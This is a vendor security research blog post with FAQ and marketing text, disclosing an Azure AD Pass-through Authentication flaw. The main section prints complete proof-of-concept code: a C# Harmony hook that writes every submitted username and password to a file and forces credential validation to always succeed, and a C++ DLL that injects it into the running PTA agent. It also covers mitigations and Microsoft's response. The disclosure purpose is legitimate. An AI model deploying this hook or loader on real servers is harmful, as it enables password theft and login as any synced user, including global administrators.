Frequently Asked Questions

Vulnerability & Technical Details

What is the Pass-through Authentication (PTA) credential validation vulnerability in Azure AD?

This vulnerability occurs when multiple on-premises Active Directory (AD) domains are synced to a single Azure tenant using Pass-through Authentication (PTA) agents. If authentication requests are mishandled, attackers can manipulate the credential validation process, potentially logging in as any synced AD user without knowing their password. This could allow unauthorized access, privilege escalation, and lateral movement across domains. (Source: Cymulate Research Lab, July 2, 2025)

How does the PTA vulnerability allow attackers to bypass authentication?

Attackers can inject a DLL into the PTA agent process, hook the ValidateCredentials method, and force it to always return true. This means any credentials, even from a different domain, are accepted, allowing attackers to log in as any synced user, including those with high privileges. (Source: Cymulate Research Lab, July 2, 2025)

What are the prerequisites for exploiting this vulnerability?

The attacker must have local administrator access on the server hosting the PTA agent. Without this level of access, the exploit cannot be performed. (Source: Cymulate Research Lab, July 2, 2025)

What is the impact of this vulnerability on hybrid identity infrastructures?

The vulnerability can allow attackers to log in as any synced AD user, including global administrators, and move laterally across different on-premises domains. This poses significant risks such as privilege escalation, persistence, and unauthorized access to sensitive resources. (Source: Cymulate Research Lab, July 2, 2025)

How was the PTA credential validation vulnerability discovered?

Cymulate researchers investigated the Azure AD pass-through authentication process, decompiled the PTA agent, and observed inconsistent login behavior. They found that authentication requests could be mishandled by PTA agents from different domains, leading to the discovery of the vulnerability. (Source: Cymulate Research Lab, July 2, 2025)

What is the technical process for exploiting the PTA vulnerability?

The exploit involves injecting an unmanaged DLL into the PTA agent process, which loads a managed DLL using the Harmony library to hook the ValidateCredentials method. The hook logs credentials and forces the method to always return true, granting unauthorized access. (Source: Cymulate Research Lab, July 2, 2025)

What mitigation steps are recommended to address this vulnerability?

Microsoft recommends treating the Entra Connect server as a Tier 0 component, hardening it as a Control Plane asset, and enabling 2FA for all synced users. Logical separation of domains and domain-aware routing for authentication requests are also suggested. (Source: Microsoft documentation, referenced in Cymulate Research Lab, July 2, 2025)

How did Microsoft respond to the disclosure of this vulnerability?

Microsoft Security Response Center (MSRC) acknowledged the issue as moderate severity, stated that no CVE would be issued, and planned to fix the code in the future. Cymulate researchers will be recognized in the Hall of Fame for August 2024. (Source: Cymulate Research Lab, July 2, 2025)

Where can I find the source code for the proof of concept (PoC)?

The source code for the PoC is available on the Cymulate Research GitHub: https://github.com/CymulateResearch/DoubleAgent.

What is the role of the Harmony library in this exploit?

The Harmony library is used to hook .NET methods at runtime. In this exploit, it hooks the ValidateCredentials method in the PTA agent, allowing attackers to manipulate its return value and log credentials. (Source: Cymulate Research Lab, July 2, 2025)

What is the recommended way to secure Microsoft Entra Connect servers?

Microsoft recommends treating Entra Connect servers as Tier 0 assets, following the Active Directory administrative tier model, and applying guidance from Secure Privileged Access documentation. (Source: Microsoft documentation, referenced in Cymulate Research Lab, July 2, 2025)

How does enabling 2FA help mitigate this vulnerability?

Enabling two-factor authentication (2FA) for all synced users blocks attackers from moving laterally to the cloud, even if they exploit the PTA vulnerability, as they would not have access to the second authentication factor. (Source: Cymulate Research Lab, July 2, 2025)

What is the user experience impact of this vulnerability?

Users may experience random authentication failures when logging in, even with correct credentials, due to PTA agents from different domains mishandling requests. This leads to inconsistent and poor user experience. (Source: Cymulate Research Lab, July 2, 2025)

What is the significance of domain-aware routing in mitigating this issue?

Domain-aware routing would ensure authentication requests are directed to the correct PTA agent for the user's domain, preventing mishandling and reducing the risk of exploitation. (Source: Cymulate Research Lab, July 2, 2025)

How does Cymulate contribute to exposure validation and security testing?

Cymulate Exposure Validation makes advanced security testing fast and easy by providing a unified platform for building custom attack chains and validating security controls. (Source: Cymulate Exposure Validation Data Sheet)

Where can I learn more about privilege escalation and runtime security?

You can learn more about privilege escalation and runtime security in the Cymulate Cybersecurity Glossary: Privilege Escalation and Runtime Security.

How can Cymulate help defend against similar vulnerabilities?

Cymulate's platform enables organizations to proactively validate their defenses, identify vulnerabilities, and optimize their security posture through continuous threat validation and exposure management. (Source: https://cymulate.com/about-us/)

How can I book a demo to see Cymulate in action?

You can schedule a personalized demo of Cymulate by visiting https://cymulate.com/schedule-a-demo/.

Features & Capabilities

What are the key capabilities of the Cymulate platform?

Cymulate offers continuous threat validation, a unified platform combining Breach and Attack Simulation (BAS), Continuous Automated Red Teaming (CART), and Exposure Analytics, attack path discovery, automated mitigation, AI-powered optimization, complete kill chain coverage, ease of use, and an extensive threat library with over 100,000 attack actions updated daily. (Source: https://cymulate.com/platform/)

What integrations does Cymulate support?

Cymulate integrates with a wide range of security technologies, including Akamai Guardicore, AWS GuardDuty, BlackBerry Cylance OPTICS, Carbon Black EDR, Check Point CloudGuard, Cisco Secure Endpoint, CrowdStrike Falcon, Wiz, SentinelOne, and more. For a complete list, visit our Partnerships and Integrations page. (Source: https://cymulate.com/cymulate-technology-alliances-partners/)

How easy is it to implement Cymulate?

Cymulate is designed for quick and easy implementation, operating in agentless mode with no need for additional hardware or complex configurations. Customers can start running simulations almost immediately after deployment. (Source: Customer testimonials, Cymulate manual)

What feedback have customers given about Cymulate's ease of use?

Customers consistently praise Cymulate for its intuitive, user-friendly interface and actionable insights. Testimonials highlight its ease of implementation and the value of its support team. (Source: Customer testimonials, https://cymulate.com/customers/)

What security and compliance certifications does Cymulate hold?

Cymulate holds SOC2 Type II, ISO 27001:2013, ISO 27701, ISO 27017, and CSA STAR Level 1 certifications, demonstrating robust security and compliance practices. (Source: https://cymulate.com/security-at-cymulate/)

How does Cymulate ensure data security?

Cymulate uses encryption for data in transit (TLS 1.2+) and at rest (AES-256), hosts data in secure AWS data centers, and follows a strict Secure Development Lifecycle (SDLC) with regular vulnerability scanning and penetration testing. (Source: https://cymulate.com/security-at-cymulate/)

Is Cymulate GDPR compliant?

Yes, Cymulate incorporates data protection by design and has a dedicated privacy and security team, including a Data Protection Officer (DPO) and Chief Information Security Officer (CISO), ensuring GDPR compliance. (Source: https://cymulate.com/security-at-cymulate/)

Pain Points & Use Cases

What core problems does Cymulate solve for security teams?

Cymulate addresses overwhelming threat volumes, lack of visibility, unclear risk prioritization, and resource constraints by automating threat validation, exposure prioritization, and operational processes. (Source: EM Platform Message Guide.pdf)

Who can benefit from using Cymulate?

Cymulate is designed for CISOs, security leaders, SecOps teams, Red Teams, and vulnerability management teams in organizations of all sizes and industries, including finance, healthcare, retail, and more. (Source: https://cymulate.com/roles-ciso-cio/)

What business impact can customers expect from Cymulate?

Customers report up to a 52% reduction in critical exposures, a 60% increase in team efficiency, 40X faster threat validation, and an 81% reduction in cyber risk within four months. (Source: https://cymulate.com/solutions/optimize-threat-resilience/)

Are there case studies demonstrating Cymulate's effectiveness?

Yes, for example, Hertz Israel reduced cyber risk by 81% in four months, and Nemours Children's Health improved detection and response in hybrid environments. See more at Cymulate Case Studies.

How does Cymulate address fragmented security tools?

Cymulate integrates exposure data and automates validation, providing a unified view of the security posture and reducing gaps caused by disconnected tools. (Source: manual)

How does Cymulate help with resource constraints in security teams?

Cymulate automates manual processes, improves operational efficiency, and enables teams to focus on strategic initiatives rather than routine tasks. (Source: manual)

How does Cymulate support vulnerability management teams?

Cymulate automates in-house validation between penetration tests and prioritizes vulnerabilities based on exploitability and business context. (Source: https://cymulate.com/vulnerability-management/)

How does Cymulate help with communication barriers for CISOs?

Cymulate provides quantifiable metrics and insights, enabling CISOs to justify investments and communicate risks effectively to stakeholders. (Source: https://cymulate.com/roles-ciso-cio/)

Pricing & Plans

What is Cymulate's pricing model?

Cymulate uses a subscription-based pricing model tailored to each organization's needs, based on the chosen package, number of assets, and scenarios. For a quote, schedule a demo at https://cymulate.com/schedule-a-demo/. (Source: Cymulate manual)

Competition & Comparison

How does Cymulate differ from other security validation platforms?

Cymulate offers a unified platform with continuous threat validation, AI-powered optimization, complete kill chain coverage, and an extensive threat library. It is praised for ease of use and measurable outcomes, such as a 52% reduction in critical exposures and 81% reduction in cyber risk. (Source: https://cymulate.com/cymulate-vs-competitors/)

Resources & Support

Where can I find Cymulate's blog and latest research?

You can read about the latest threats, research, and more on the Cymulate blog: https://cymulate.com/blog/.

Where can I find Cymulate's newsroom and event information?

For media mentions, press releases, and event information, visit the Cymulate newsroom at https://cymulate.com/news/ and events page at https://cymulate.com/events/.

Does Cymulate offer a central resource hub?

Yes, the Cymulate Resource Hub contains insights, thought leadership, and product information at https://cymulate.com/resources/.

Where can I find definitions for cybersecurity terms?

Cymulate provides a cybersecurity glossary with definitions for terms, acronyms, and jargon at https://cymulate.com/cybersecurity-glossary/.

Cymulate named a Customers' Choice in 2025 Gartner® Peer Insights™
Learn More
New Case Study: Credit Union Boosts Threat Prevention & Detection with Cymulate
Learn More
New Research: Cymulate Research Labs Discovers Token Validation Flaw
Learn More
An Inside Look at the Technology Behind Cymulate
Learn More

Double Agent: Exploiting Pass-through Authentication Credential Validation in Azure AD 

By: Cymulate Research Lab

Last Updated: July 2, 2025

image

Today’s enterprise security architecture demands seamless authentication across various systems. To accomplish this, many organizations use Azure Active Directory (AAD) to sync their on-premises environments to the cloud to manage user access across environments. (Note: Azure Active Directory has been rebranded as Microsoft Entra ID, but we’ll continue to call it AAD throughout this blog for simplicity.) However, our recent investigation uncovered a vulnerability in AAD when syncing multiple on-premises AD domains to a single Azure tenant. This issue arises when authentication requests are mishandled by pass-through authentication (PTA) agents for different on-prem domains, leading to potential unauthorized access.

By manipulating the credential validation process, attackers can bypass security checks, posing significant risks to hybrid identity infrastructures. This vulnerability effectively turns the PTA agent into a double agent, allowing attackers to log in as any synced AD user without knowing their actual password; this could potentially grant access to a global admin user if such privileges were assigned. Regardless of their original synced AD domain, and potentially move laterally to different on-premises domains. Additionally, attackers could log in as a synced AD user with high privileges inside the tenant, leading to privilege escalation and persistence.

Note: The attack would need a local admin on the server hosting the PTA agent. 
In this blog post, we delve into the technical details of this vulnerability, demonstrate the potential impact, and discuss mitigation strategies to safeguard your environment. 

According to Microsoft documentation:  
“Microsoft Entra pass-through authentication allows your users to sign in to both on-premises and cloud-based applications using the same passwords. This feature provides your users a better experience – one less password to remember, and reduces IT helpdesk costs because your users are less likely to forget how to sign in. When users sign in using Microsoft Entra ID, this feature validates users’ passwords directly against your on-premises Active Directory.” 

image
Figure 1: PTA authentication process

The diagram above visualizes the authentication process across 12 steps: 

  1. The user tries to access an application, for example, Azure. 
  2. If the user is not already signed in, the user is redirected to the Microsoft Entra ID User Sign-in page. 
  3. The user enters their username into the Microsoft Entra sign-in page, and then selects the Next button. 
  4. The user enters their password into the Microsoft Entra sign-in page, and then selects the Sign in button. 
  5. Microsoft Entra ID, on receiving the request to sign in, places the username and password (encrypted by using the public key of the Authentication Agents) in a queue. 
  6. An on-premises Authentication Agent retrieves the username and encrypted password from the queue. Note that the Agent doesn’t frequently poll for requests from the queue but retrieves requests over a pre-established persistent connection. 
  7. The agent decrypts the password by using its private key. 
  8. The agent validates the username and password against Active Directory by using standard Windows APIs, which is a similar mechanism to what Active Directory Federation Services (AD FS) uses. The username can be either the on-premises default username, usually userPrincipalName, or another attribute configured in Microsoft Entra Connect (known as Alternate ID). 
  9. The on-premises Active Directory domain controller (DC) evaluates the request and returns the appropriate response (success, failure, password expired, or user locked out) to the agent. 
  10. The Authentication Agent, in turn, returns this response back to Microsoft Entra ID. 
  11. Microsoft Entra ID evaluates the response and responds to the user as appropriate. For example, Microsoft Entra ID either signs the user in immediately or requests for Microsoft Entra multifactor authentication. 
  12. If the user sign-in is successful, the user can access the application. 

We began our research by exploring the internet for known techniques that abuse Azure environments. During our research, we encountered a blog by Adam Chester (https://blog.xpnsec.com/azuread-connect-for-redteam/). 

We delved into the Azure AD pass-through authentication process and started decompiling the PTA agent using dnSpy. We discovered something strange. When we logged in as a synced user, it would randomly give us a wrong password error, and then after a few tries, it would log us in using the same password. Initially, we thought the browser agent might be affecting the destination request of the login attempt. However, we later realized it was just a poor user experience, meaning the Azure synced user would randomly succeed in logging in with the same password. 

What we found was that behind the scenes, our login requests were being randomly retrieved by the PTA agents in the environment. If the request was retrieved by an incorrect PTA agent (an agent from a different synced domain), the login attempt would fail because the PTA agent forwarded the request to the AD server, and the AD server did not recognize the user.

image
Figure 2: Authentication process with two synced AD domains.
Poor user experience of a login attempt.

When a synced user attempts to sign in to Azure, the password validation request is placed in the Service Bus queue and retrieved by one of the available Pass-Through Authentication (PTA) agents, regardless of the user’s origin domain. If a PTA agent retrieves the username and password of a user from a different domain, it will attempt to validate the credentials against its own Windows Server AD. This results in authentication failure because the server does not recognize the specific user. 

image
Figure 4: Login attempt from Domain A to Domain B

As you can see from Figure 4, we are under the “cymattack” on-prem domain, but we got the credentials for the “cymtown” domain. 

image
Figure 5: Login attempt from Domain A to Domain B Failed

As you can see from Figure 5, the return value from the ValidateCredentials function is False due to the LogonUser function failing because the AD server does not know the user who is attempting to login (Different Domain). 

image
Figure 6: Login attempt failed (Bad User Experience).

As you can see from Figure 6, the login attempt failed even though the password is correct, which leads to a poor user experience. This will happen randomly every time until the correct PTA agent gets the request. 

With this approach in mind, we proved the potential for bypassing AAD authentication. First, we inject an unmanaged DLL into the PTA agent process. This DLL utilizes the existing CLR instance within the process to load a managed DLL. Once the managed DLL is loaded, it hooks the ValidateCredential function both at the beginning and at the end, allowing us to control the return value of the function. By controlling the return value of the function, we can always return True. This means that even if we provide the credentials of a user from a different domain, the hook would return True. Thus, we would be able to log in as any user from any synced on-prem AD. So the result would look like this: 

image
Figure 7: Exploitation process.
using System;
using System.IO;
using System.Reflection;
using HarmonyLib;

namespace Captain_HooK
{
    public class HooK
    {
        private static void LogToFile(string message)
        {
            string path = @"C:\Users\Public\hook.txt";
            using (StreamWriter sw = new StreamWriter(path, true))
            {
                sw.WriteLine(message);
            }
        }

        public static int InstallHook(string TestParam)
        {
            try
            {
                LogToFile("C# DLL Injected Successfully!");
                Type targetType = typeof(Microsoft.ApplicationProxy.Connector.DirectoryHelpers.ActiveDirectoryDomainContext);

                // Get the method to be patched
                MethodInfo targetMethod = targetType.GetMethod("ValidateCredentials", BindingFlags.Public | BindingFlags.Instance);
                if (targetMethod == null)
                    throw new Exception("Could not resolve ValidateCredentials");

                LogToFile("Got Function!");

                Harmony harmony = new Harmony("ValidateCredentialsPatch");
                MethodInfo prefixMethod = typeof(HooK).GetMethod("Prefix_ValidateCredentials");
                MethodInfo postfixMethod = typeof(HooK).GetMethod("Postfix_ValidateCredentials");
                harmony.Patch(targetMethod, new HarmonyMethod(prefixMethod), new HarmonyMethod(postfixMethod));

                LogToFile("Waiting for connection...");
                LogToFile("------------------------------------------");

                return 0;
            }
            catch (Exception ex)
            {
                LogToFile($"Exception: {ex.Message}");
                return -1;
            }
        }

        public static bool Prefix_ValidateCredentials(ref string userPrincipalName, ref string password, ref object __result)
        {
            LogToFile($"[+] Username: {userPrincipalName}");
            LogToFile($"[+] Password: {password}");
            LogToFile("------------------------------------------");
            return true; // Do not skip executing original ValidateCredentials()
        }

        public static void Postfix_ValidateCredentials(ref bool __result)
        {
            __result = true; // Always return true
            LogToFile("Postfix hook executed, result set to true.");
        }
    }
}

At this point, we were familiar with hooking native methods of WinAPIs from unmanaged code. However, hooking a function inside managed code was less familiar to us. We started researching ways to achieve this and discovered the powerful capabilities of the Harmony library for hooking .NET code at runtime. Here's a detailed look at how we accomplished this by injecting a hook into the ValidateCredentials method of the Microsoft.ApplicationProxy.Connector.DirectoryHelpers.ActiveDirectoryDomainContext class within the PTA agent process. 

The InstallHook method is the core of this operation. It dynamically interacts with an already running instance of the .NET CLR within the PTA agent process to hook the ValidateCredentials method. Utilizing the Harmony library, the method performs the following actions: 

  1. Prefix Hook: The prefixMethod will hook the start of the ValidateCredentials method. This allows capturing and logging the credentials (username and password) to a file before the original method execution. 
  2. Postfix Hook: The postfixMethod will hook the end of the ValidateCredentials method. This modifies the return value to always return true, thereby granting login access to any user attempting to authenticate. 

At this point, we have a valid managed DLL that can be loaded into the PTA agent process. To achieve this, we needed a method to load the managed DLL. We wrote an unmanaged C++ DLL that loads the managed DLL using the existing CLR within the running process. 

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <metahost.h>
#include <cstdio>
#include <fstream>
#include <sstream>
#include <comdef.h>

#pragma comment(lib, "mscoree.lib")

void LogToFile(const std::wstring& message) {
    std::wofstream logFile;
    logFile.open(L"C:\\Users\\Public\\log.txt", std::ios_base::app);
    if (logFile.is_open()) {
        logFile << message << std::endl;
        logFile.close();
    }
}

std::wstring ToWString(DWORD value) {
    std::wstringstream wss;
    wss << value;
    return wss.str();
}

std::wstring GetErrorMessage(HRESULT hr) {
    _com_error err(hr);
    return std::wstring(err.ErrorMessage());
}

int main()
{
    ICLRMetaHost* metaHost = NULL;
    ICLRRuntimeInfo* runtimeInfo = NULL; 
    ICLRRuntimeHost* runtimeHost = NULL;

    if (CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost) == S_OK) { 
        LogToFile(L"CLR instance created successfully.");

        if (metaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&runtimeInfo) == S_OK) { 
            LogToFile(L"Got CLR runtime version 4.0.30319 successfully.");

            BOOL isStarted = FALSE;
            if (runtimeInfo->IsStarted(&isStarted, NULL) == S_OK && isStarted) {
                LogToFile(L"CLR runtime host is already started.");

                if (runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost) == S_OK) {
                    LogToFile(L"Got CLR runtime host interface successfully.");
                }
                else {
                    LogToFile(L"Failed to get CLR runtime host interface.");
                }

            }
            else {
                if (runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost) == S_OK) { 
                    LogToFile(L"Got CLR runtime host interface successfully.");

                    if (runtimeHost->Start() == S_OK) {
                        LogToFile(L"CLR runtime host started successfully.");
                    }
                    else {
                        LogToFile(L"Failed to start CLR runtime host.");
                    }
                }
                else {
                    LogToFile(L"Failed to get CLR runtime host interface.");
                }
            }

            DWORD pReturnValue; 


            HRESULT hr = runtimeHost->ExecuteInDefaultAppDomain(L"C:\\Users\\Public\\captainhook.dll", L"Captain_HooK.HooK", L"InstallHook", nullptr, &pReturnValue);
            if (hr == S_OK) {
                LogToFile(L"Method executed successfully with return value: " + ToWString(pReturnValue));
            }
            else {
                LogToFile(L"Failed to execute method in default app domain. Error: " + GetErrorMessage(hr) + L" (HRESULT: " + ToWString(hr) + L")");
            }

            runtimeInfo->Release();
            metaHost->Release();
            runtimeHost->Release();
        }
        else {
            LogToFile(L"Failed to get CLR runtime version.");
        }
    }
    else {
        LogToFile(L"Failed to create CLR instance.");
    }

    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        auto Thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)main, 0, 0, 0);
        if (Thread)
            return TRUE;
        else
            return FALSE;
    }
    break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

The code starts by creating an instance of the CLR using CLRCreateInstance and logs the success. It then retrieves the runtime information for the .NET version, ensuring compatibility with the running process. The DLL checks if the CLR is already started, and if not, it starts the CLR and retrieves the runtime host interface. Using ExecuteInDefaultAppDomain, the DLL loads and executes the InstallHook method from the managed DLL (captainhook.dll). After this, the hooks are set up and the system waits for incoming connections. 

The video below demonstrates how we are able to log in to three different users from three different on-premises domains. We logged in to each user twice to show that the password is irrelevant due to our hooked function. At the end of the video, the synced AD user is shown to be a global administrator, and we granted a random user global admin rights to demonstrate our ability to exploit these privileges.

Video PoC

Microsoft recommends treating the Entra Connect server as a Tier 0 component. According to them: 

“The Microsoft Entra Connect server must be treated as a Tier 0 component as documented in the Active Directory administrative tier model. We recommend hardening the Microsoft Entra Connect server as a Control Plane asset by following the guidance provided in Secure Privileged Access.”

Additionally, enabling 2FA for all synced users would effectively block this attack as the attacker wouldn't be able to move laterally to the cloud. 

We would expect Microsoft to implement domain-aware routing to ensure authentication requests are directed to the appropriate PTA agent. Additionally, establishing strict logical separation between different on-premises domains within the same tenant may be beneficial. 

Cymulate researchers reported their initial findings to the Microsoft Security Response Center (MSRC) on July 5, 2024. The MSRC responded to the Cymulate research team on July 19, 2024, stating that the issue is not an immediate threat and is of moderate severity. They also mentioned that no CVE will be issued for this problem, even though they plan to fix the code on their end, which is already in their backlog with no current ETA for the fix. Our researchers will be recognized in the Hall of Fame for August 2024. 

Link to the Source Code.

To see how Cymulate can strengthen your security and defend against similar vulnerabilities, book a demo with our team today and see our platform in action.

Cymulate Exposure Validation makes advanced security testing fast and easy. When it comes to building custom attack chains, it's all right in front of you in one place.
Mike Humbert, Cybersecurity Engineer
DARLING INGREDIENTS INC.
Learn More
Book a Demo